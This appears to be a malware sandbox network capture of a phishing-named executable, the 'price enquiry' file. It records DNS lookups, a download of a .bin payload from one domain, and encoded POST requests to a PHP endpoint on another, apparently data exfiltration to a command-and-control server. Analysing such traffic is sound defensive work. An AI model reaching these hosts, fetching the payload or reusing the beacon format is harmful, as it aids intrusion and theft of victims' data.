Nov 1, 2024 15:15:00.905565977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905576944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905590057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905601025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905602932 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905611992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905622005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905631065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905632019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905644894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905657053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905668020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905678988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905690908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905699968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905699968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905700922 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905755043 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905917883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905930042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905941010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905951977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905963898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905975103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905976057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905976057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905987024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905997992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906009912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906019926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906030893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906039953 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906043053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906054974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906065941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906076908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906089067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906100035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906112909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906143904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906143904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906143904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906143904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906160116 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906186104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906198025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906208992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906220913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906232119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906244993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906251907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906251907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906256914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906269073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906279087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906289101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906290054 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906291008 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906327963 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906344891 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906368017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906378984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906390905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.906415939 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.906430006 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.907063007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.919624090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.924588919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.479336977 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:01.484499931 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.485645056 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:01.485800028 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:01.485874891 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:01.491058111 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491070032 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491079092 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491087914 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491096973 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491108894 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491118908 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491137981 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:01.491178036 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:01.491205931 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:01.491375923 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491386890 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491395950 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.491430998 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:01.496705055 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.496716976 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.496726036 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.496826887 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.496835947 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.496845961 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:01.541136980 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:05.478698015 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:05.478848934 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:05.479141951 CET	49898	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:05.480680943 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:05.483921051 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:05.696957111 CET	80	49898	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:05.697038889 CET	49898	80	192.168.2.5	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 15:14:53.690993071 CET	55867	53	192.168.2.5	1.1.1.1
Nov 1, 2024 15:14:54.176817894 CET	53	55867	1.1.1.1	192.168.2.5
Nov 1, 2024 15:14:57.445168018 CET	60481	53	192.168.2.5	1.1.1.1
Nov 1, 2024 15:14:57.459192991 CET	53	60481	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 15:14:53.690993071 CET	192.168.2.5	1.1.1.1	0x2e1b	Standard query (0)	sierrassinfinusadas.com.ar	A (IP address)	IN (0x0001)	false
Nov 1, 2024 15:14:57.445168018 CET	192.168.2.5	1.1.1.1	0xf5d4	Standard query (0)	e3z1.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 15:14:54.176817894 CET	1.1.1.1	192.168.2.5	0x2e1b	No error (0)	sierrassinfinusadas.com.ar	167.250.5.91	A (IP address)	IN (0x0001)	false
Nov 1, 2024 15:14:57.459192991 CET	1.1.1.1	192.168.2.5	0xf5d4	No error (0)	e3z1.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 15:14:57.459192991 CET	1.1.1.1	192.168.2.5	0xf5d4	No error (0)	e3z1.shop	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sierrassinfinusadas.com.ar

e3z1.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49874	188.114.96.3	80	1532	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 15:14:57.465569973 CET	271	OUT	POST /HT341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: e3z1.shop Content-Length: 109 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 66 8b 30 65 ef 26 66 96 26 66 9e 26 66 97 26 66 96 26 66 98 26 67 ea 26 66 9f 42 13 8b 30 64 8b 30 61 ed 26 66 9b 46 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10f0e&f&f&f&f&f&g&fB0d0a&fF
Nov 1, 2024 15:14:59.336818933 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 14:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: Accept-Encoding,User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q8JZLi5CL%2FWPkzL3uL6en15TZZsVNVTtW75cFru97UrRowSQeKabkX3qH5hihX9QT%2F2sEXG9aJP3R%2BUymp63%2BZNKrmrYe7y3u3e0IUqY16W8MS9NZUX7XPvsYX8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbc7e848f1be99b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1831&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=271&delivery_rate=0&cwnd=55&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 32 35 0d 0a 3f 36 90 4f 06 dd 77 1e d7 33 21 e2 50 65 dc 4f 04 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c9 68 2f e3 42 3e dc 40 06 9e 49 11 ff 73 12 ed 57 1c e4 49 03 f8 57 07 f8 49 04 fb 68 6c e9 50 00 d6 45 1f f8 7b 10 cc 31 1b 9f 61 02 f8 76 31 e6 4d 36 ed 50 3a db 67 1d c6 33 19 ed 6c 20 f4 44 6c c4 48 3c d9 72 19 c0 6b 26 cd 7a 3a e4 4e 2f ef 49 1e d9 68 21 ed 52 65 e5 50 04 c5 7b 1b d4 4e 20 e3 69 00 9e 4f 3f e7 32 18 ed 37 61 e3 69 25 f8 56 22 9e 48 69 81 60 6b 92 6d 6b 07 16 0c 82 a6 43 b3 75 f4 a5 1e 37 09 14 00 82 a8 5f f0 71 f2 a7 56 79 0a 57 48 9e e6 00 b0 66 f1 a7 09 19 3c f6 65 ac cb 30 9e 06 9d cb 33 ab 99 66 65 17 cb 30 9e 02 9d cb 33 14 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 ec 66 66 65 a1 d4 8a 90 02 29 c2 fe 75 de 67 29 62 ea 64 f6 6b ee eb 43 26 09 01 17 ce a6 10 fd [TRUNCATED] Data Ascii: f25?6Ow3!PeOHh-PVePIh9Q`U/0`I6eKH<h7N$@:fyh/B>@IsWIWIhlPE{1av1M6P:g3l DlH<rk&z:N/Ih!ReP{N iO?27ai%V"Hi`kmkCu7_qVyWHf<e03fe03ffe03Tffe03Tffe03ffe)ug)bdkC&c\ FE")5ET,9pffe0j0U1UjC1UP[j
Nov 1, 2024 15:14:59.336834908 CET	1236	IN	Data Raw: 30 9e 4e 9c c9 33 d5 dc 44 c9 af cb 30 9e 02 9d cb 33 b4 66 64 44 a4 ca 3e 94 02 9b cb 33 54 62 66 65 af cb 30 9e 02 9d cb 33 54 76 66 65 af eb 30 9e 02 9d cb 23 54 76 66 65 af c9 30 9e 08 9d cb 33 5e 66 66 65 a5 cb 30 9e 02 9d cb 33 54 56 66 65 Data Ascii: 0N3D03fdD>3Tbfe03Tvfe0#Tvfe03^ffe03TVfe03Wf&`43Tfve03Dffe0)3Tffe03efe03Tjfe03Tffe0V3Tffe03Tffe03Tffe03Tffe03Tffe03Tffe0
Nov 1, 2024 15:14:59.336848021 CET	1236	IN	Data Raw: 55 dd 76 ef a7 7b 35 08 02 09 ca b9 30 f5 67 ef a5 56 38 55 54 4b fc ae 44 dd 6d f3 b8 5c 38 03 25 11 dd a7 78 ff 6c f9 a7 56 26 66 35 00 db 88 5f f0 71 f2 a7 56 19 09 02 00 af a0 55 ec 6c f8 a7 00 66 48 35 00 db 88 5f f0 71 f2 a7 56 19 09 02 00 Data Ascii: Uv{50gV8UTKDm\8%xlV&f5_qVUlfH5_qVBv\:0gV8UTKYg]'gkp;gi]1UWBv\:03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe0
Nov 1, 2024 15:14:59.336915016 CET	980	IN	Data Raw: 43 9e 6d 9d ad 33 20 66 46 65 ec cb 5f 9e 70 9d bb 33 3b 66 14 65 ce cb 44 9e 6b 9d a4 33 3a 66 48 65 8f cb 71 9e 6e 9d a7 33 74 66 14 65 c6 cb 57 9e 6a 9d bf 33 27 66 46 65 dd cb 55 9e 71 9d ae 33 26 66 10 65 ca cb 54 9e 2c 9d cb 33 6a 66 6d 65 Data Ascii: Cm3 fFe_p3;feDk3:fHeqn3tfeWj3'fFeUq3&feT,3jfmep33feQn3=fe^c31ffe@k31feDw3Tffe3&feEa3feU3feBm3;fe"3=fe_u3fFe@g35fe^e3feDg
Nov 1, 2024 15:14:59.337029934 CET	1236	IN	Data Raw: 33 35 33 39 0d 0a 10 04 8c cd b6 e0 b0 36 68 6c 1a cf 6c ab 50 4e 49 1c a2 a7 03 98 06 db 92 24 94 79 53 ce 07 0e 56 38 cf 2b a2 d7 60 ae ac 1a 70 49 5b 2e 28 a2 0e a0 32 81 9b a8 9b 74 64 89 4b 4d a6 05 65 f2 7f 23 3e 81 4d 83 b6 2e ae 2c ed 6f Data Ascii: 35396hllPNI$ySV8+`pI[.(2tdKMe#>M.,o"}F@<UY\|*Jy%p\|!vRkJM{8!y[+xTW`G/cB~_b0y6i/\|$#]ka92B9y\|Fi9Uz +
Nov 1, 2024 15:14:59.337043047 CET	1236	IN	Data Raw: 5e ae c5 e9 a5 39 c8 12 3d fb 20 3b 4d d7 04 b0 3f 88 a2 e9 fa a6 50 1a 53 5e a6 76 ea 0d 85 aa a5 60 63 a2 e0 f8 f2 79 57 b5 6b 84 e3 cf 53 1a 77 63 d1 22 b2 de ab fa 12 80 36 0f 08 e8 0d 64 2b e6 de 26 89 fa 5f 0c ca 12 73 2b eb ac 0b 1d 02 db Data Ascii: ^9= ;M?PS^v`cyWkSwc"6d+&_s+vtu5LL>$&\|E,ejkxUr `)pr-\LO@W a(e+6?2Tg Re3x<Rgc`3fIhbsvopY!
Nov 1, 2024 15:14:59.337054014 CET	1236	IN	Data Raw: 8d 6c 34 39 02 6f 11 ba c9 c8 92 2b 18 f6 95 87 6c 96 26 15 30 94 b8 5f d4 63 37 09 b9 93 82 10 39 7b d8 8e b3 1b 3a 8b 1b 40 0f 63 dc 02 fd 46 95 2c 6b b2 11 2a 5f 98 f4 11 86 29 46 b1 56 40 df 03 0d 9e b4 e8 cd 36 fb 57 5d db fa 63 ed 41 75 81 Data Ascii: l49o+l&0_c79{:@cF,k_)FV@6W]cAu+Q(X<5:(3-0?zg;T 1k$#I,#`)oqd>\g:eg0mdg?6W2Ub`15W3{k4#p=1lz6W7Pedd)"
Nov 1, 2024 15:14:59.337059975 CET	636	IN	Data Raw: 23 9c 57 ce fa 20 64 77 60 66 fa cf 38 8d 08 ca aa 40 3c 0f 08 02 db a4 5e af 12 ad c5 35 57 33 62 62 bc cc 62 fb 66 f0 a4 5d 30 57 78 55 b3 cd 33 cb 06 97 d8 26 19 0f 05 17 c0 b8 5f f8 76 bd 88 5c 26 16 09 17 ce bf 59 f1 6c ac ea 03 4b 60 65 30 Data Ascii: #W dw`f8@<^5W3bbbf]0WxU3&_v\&YlK`e0#OA;do` s2dk`lMx2Ucff-?29VgdTB{L#~E6a(&%*gs/0fv<=Pc&VzISw,}FdG
Nov 1, 2024 15:14:59.337071896 CET	1236	IN	Data Raw: 95 33 4e ee 93 c7 53 75 48 00 9f 9b 36 9d 57 80 d4 37 1d 56 21 55 ea 6b 73 3e 43 1b f4 5b 20 12 16 5f 80 e4 53 ec 6e b3 a6 5a 37 14 09 16 c0 ad 44 b0 61 f2 a6 1c 24 0d 0f 4a cc b9 5c b1 72 ef a4 57 21 05 12 16 80 a6 59 fd 70 f2 b8 5c 32 12 14 0a Data Ascii: 3NSuH6W7V!Uks>C[ _SnZ7Da$J\rW!Yp\2SpP&V14Ugb-5UccbjCnIIk\'_-Z{k\'_AGz6W7XVlc60\Vkcj2UcceI2\:e!*-7+dDY
Nov 1, 2024 15:14:59.337239027 CET	1236	IN	Data Raw: 7b e0 69 6c 58 f0 aa 95 99 f9 17 73 38 92 ee aa bf c3 b8 0e 1b 85 9a cf 79 02 33 99 66 ec fd b8 78 03 09 fb e3 b8 31 db 7e 13 9b 58 34 63 16 70 f2 20 90 86 18 8c 76 47 47 02 40 c6 40 33 7f 34 37 30 f3 24 96 ae 1a b6 5e 03 6f bf ef af 85 8d e0 fc Data Ascii: {ilXs8y3fx1~X4cp vGG@@3470$^o'l&$b6r}]lG'TdCr:z9}{ar>D\|?w9P$vU h/I2RoLMdsU-!VT95Gd36
Nov 1, 2024 15:14:59.341856003 CET	1236	IN	Data Raw: 44 be 41 f2 b9 43 3b 14 07 11 c6 a4 5e ae 80 9c e9 03 59 60 6f 4f 29 83 b6 69 0f 9c ca 32 51 66 65 e7 ae c4 30 ae 80 9c c1 31 d6 67 67 65 16 38 26 0f 53 66 58 5c e3 df cb 8e c7 61 6e 05 85 58 db 13 22 ad 8a b1 67 57 da eb 6a 34 91 b2 61 29 e8 44 Data Ascii: DAC;^Y`oO)i2Qfe01gge8&SfX\anX"gWj4a)DF:Y{^\Gf_?x>Bi"_<_@v D+aY7B;mw(Z]X'GamKaP6"CJ*9R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49898	188.114.96.3	80	1532	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 15:15:01.485800028 CET	164	OUT	POST /HT341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: e3z1.shop Content-Length: 33670 Cache-Control: no-cache
Nov 1, 2024 15:15:01.485874891 CET	11124	OUT	Data Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 66 8b 30 65 ef 26 66 96 26 66 9e 26 66 97 26 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10f0e&f&f&f&f&f&g&fB0d0a&fF)0d0e10eT<g:pp3p2p3p3w0s'p0{p5p7)0g0g0c0`0a0cb9l;p3)0e&fp1p7)@`;bAx6m.b:f7b@x4`5`5lB`
Nov 1, 2024 15:15:01.491137981 CET	3708	OUT	Data Raw: 48 06 e3 59 10 fc 5a 1a f7 41 1b e3 47 06 f7 56 05 e6 45 11 fe 56 0d e1 4e 1e ed 5a 1b fd 46 17 e4 4b 1f f8 5b 06 f9 57 1c e3 41 11 e2 53 02 f7 4e 0c e3 52 1e f7 4a 16 fe 52 10 f9 4e 0c ea 56 18 f7 49 07 fd 55 04 e6 47 10 eb 4f 00 e8 4c 10 ff 5a Data Ascii: HYZAGVEVNZFK[WASNRJRNVIUGOLZYMIRWHIIDU[JRISQRHPMNTNJMQAZL[BTFIFSWRIM[RLFRABBTDWYE
Nov 1, 2024 15:15:01.491178036 CET	9888	OUT	Data Raw: 59 13 ef 51 16 e3 4e 14 ec 4d 12 a3 09 05 e5 00 51 ba 03 55 ae 03 55 ae 03 55 ae 42 8d f3 df 57 aa 03 55 ac 07 55 ae 14 55 ae 03 13 c7 6f 30 dd 5f 67 f2 46 13 e1 5a 13 ec 4c 19 f6 42 7b d6 6f 26 d6 46 13 e1 5a 13 ec 4c 19 f6 42 16 fb 47 0c fb 51 Data Ascii: YQNMQUUUBWUUUo0_gFZLB{o&FZLBGQBIIFSGBLTRUIRNYSDVVYVORBPDD[J@AEPIMDHMKASUHW[NVRUNHTF
Nov 1, 2024 15:15:01.491205931 CET	2472	OUT	Data Raw: 48 0f f9 5a 0c e0 57 03 e1 54 14 e4 49 19 e9 42 14 fb 57 1d e4 57 0d e4 57 12 ff 4f 06 f8 57 12 f6 53 04 e7 4e 03 fd 42 0f ef 48 1f f6 4b 13 fd 45 12 eb 55 1a e4 56 0c fa 4a 16 fa 52 0f e2 49 0f ea 52 0c ec 56 17 f7 45 06 f4 50 17 e7 4c 17 f8 50 Data Ascii: HZWTIBWWWOWSNBHKEUVJRIRVEPLP@J@NY@DEN[MNYYSZANSKRGOKIHTGNVE[RVPWWAQINT@GMDETSBIPO
Nov 1, 2024 15:15:01.491430998 CET	6478	OUT	Data Raw: 23 1c c0 77 30 c2 2b 07 87 23 16 c1 71 30 86 57 18 87 31 75 ed 53 00 8e 35 63 9e 33 75 ee 23 67 80 37 65 8e 44 1d d4 0e 5f ed 53 00 8e 40 3a db 6d 21 94 23 61 a3 09 12 cb 77 07 ef 4e 6f 8e 3b 64 97 32 58 a4 55 3c ca 66 3a 8e 4a 3b c8 6c 58 a4 4e Data Ascii: #w0+#q0W1uS5c3u#g7eD_S@:m!#awNo;d2XU<f:J;lXN<q:l3#p<#p%b,B1s!qX_XXp!nuq:f&^Xp!nX\f2p!zX\n&-0fX\f8q,@:s'p&l;6q&-0fXt<j;w{{0\f'j6p{{0\p#k:w{
Nov 1, 2024 15:15:05.478698015 CET	810	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 14:15:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bWe6S9KBSiVBwtLUnfX59R7%2B0lORKq1%2F4JM%2BPnGqgNxN6FvpfJsYGe2JeCpSKf2j5PIhoGV%2Fd2JVf8pD9vFGZzTFdj2ucpIPXObwvheTHiWW6BbN1Iy7nejvaJE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbc7e9d9cdde9b9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1078&sent=15&recv=37&lost=0&retrans=0&sent_bytes=0&recv_bytes=33834&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7falseOK0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49856	167.250.5.91	443	1532	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 14:14:55 UTC	201	OUT	GET /yak/yzJUEwrOHumQymWjjWFju2.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: sierrassinfinusadas.com.ar Cache-Control: no-cache
2024-11-01 14:14:55 UTC	222	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 01 Nov 2024 14:14:55 GMT Content-Type: application/octet-stream Content-Length: 114752 Connection: close Last-Modified: Fri, 01 Nov 2024 12:11:57 GMT Accept-Ranges: bytes
2024-11-01 14:14:55 UTC	16162	IN	Data Raw: 4c 44 f2 b0 55 ae 6f 67 67 66 22 07 b7 77 24 ae 60 8d ca 7c 63 00 9f df c7 2c c7 51 30 ea f4 63 7e c6 f8 f2 ea 75 aa 07 c7 e5 74 51 d2 70 f0 8e fd d1 05 97 50 00 0c e1 28 c3 da 17 ec 77 c4 b1 ab d1 5c d2 5c 0e 91 69 58 c1 7e 21 58 eb 2f d3 62 93 ef 69 0a 53 d6 8c 2e a1 4e 78 4f 58 5b 3a 64 cd 67 7c de 39 52 28 fc 67 a8 66 81 b9 fc 02 e3 bc 58 4c 93 ec 0f 56 cf 60 fa be f0 10 34 fd 6f 2d 2d 28 0c d3 c9 1e be 0d 81 f8 dc f6 4c 2d d3 1c 85 15 79 32 0d 2a 23 fd 72 57 82 6a 36 b5 84 82 b0 64 f9 2b 4d c3 5b 75 33 c0 0e 5b e7 ff c5 ec a4 f9 e7 88 19 e9 2e 87 34 4d 76 78 89 8b 68 dd 39 0d 92 82 e3 ff 39 57 d2 d8 79 c4 c1 5e fb 1c 77 d7 81 f9 bc 8c 00 83 96 3a 2e a2 c2 1e cf d4 7e 95 eb 53 34 0f b6 e6 00 6f 18 d8 24 46 09 9c 8d 1a 6e 22 fb 94 c5 ad 8c 27 b9 be 8a Data Ascii: LDUoggf"w$`\|c,Q0c~utQpP(w\\iX~!X/biS.NxOX[:dg\|9R(gfXLV`4o--(L-y2*#rWj6d+M[u3[.4Mvxh99Wy^w:.~S4o$Fn"'
2024-11-01 14:14:55 UTC	16384	IN	Data Raw: ce 64 61 0e 8f e1 00 a7 a4 89 ab a2 8c 95 2a 0e 22 f3 70 f0 7a 9a b8 ac 7c 20 4e e7 0a c3 0f 9c 4c 35 b0 84 63 3d c8 09 31 e4 ad 0c 42 4c a7 a3 6e ff d1 4d d4 84 c5 ed b9 a5 9c 23 52 40 ff 3f 40 b2 30 69 c6 5c db 47 1e b8 a2 15 43 28 e4 fb c9 69 22 3b f0 d2 6f cc 3c c5 95 df c6 11 c2 bc 74 05 55 5d b8 d0 55 8f 9d 9e c4 e2 b0 42 b5 d1 f4 27 fd 5a 8f 63 dc bb 5f 3b 64 c7 2e a1 30 87 7d 3c d2 18 0e ca ea 29 2b 6b 3a 2c ec 67 a8 36 69 30 39 fd 1c 31 1d bc 1e b9 fa ef c8 60 fa be 18 d0 df 02 2a b6 68 d6 9e 32 3c 3b 69 68 7f 4b 9a 0f 5f c0 7b 74 98 64 6a 99 4c 85 1e d6 4a 5e 2b 17 2b 7f bb e2 d2 8c 9c a9 d0 9e 92 ff a2 67 82 e0 24 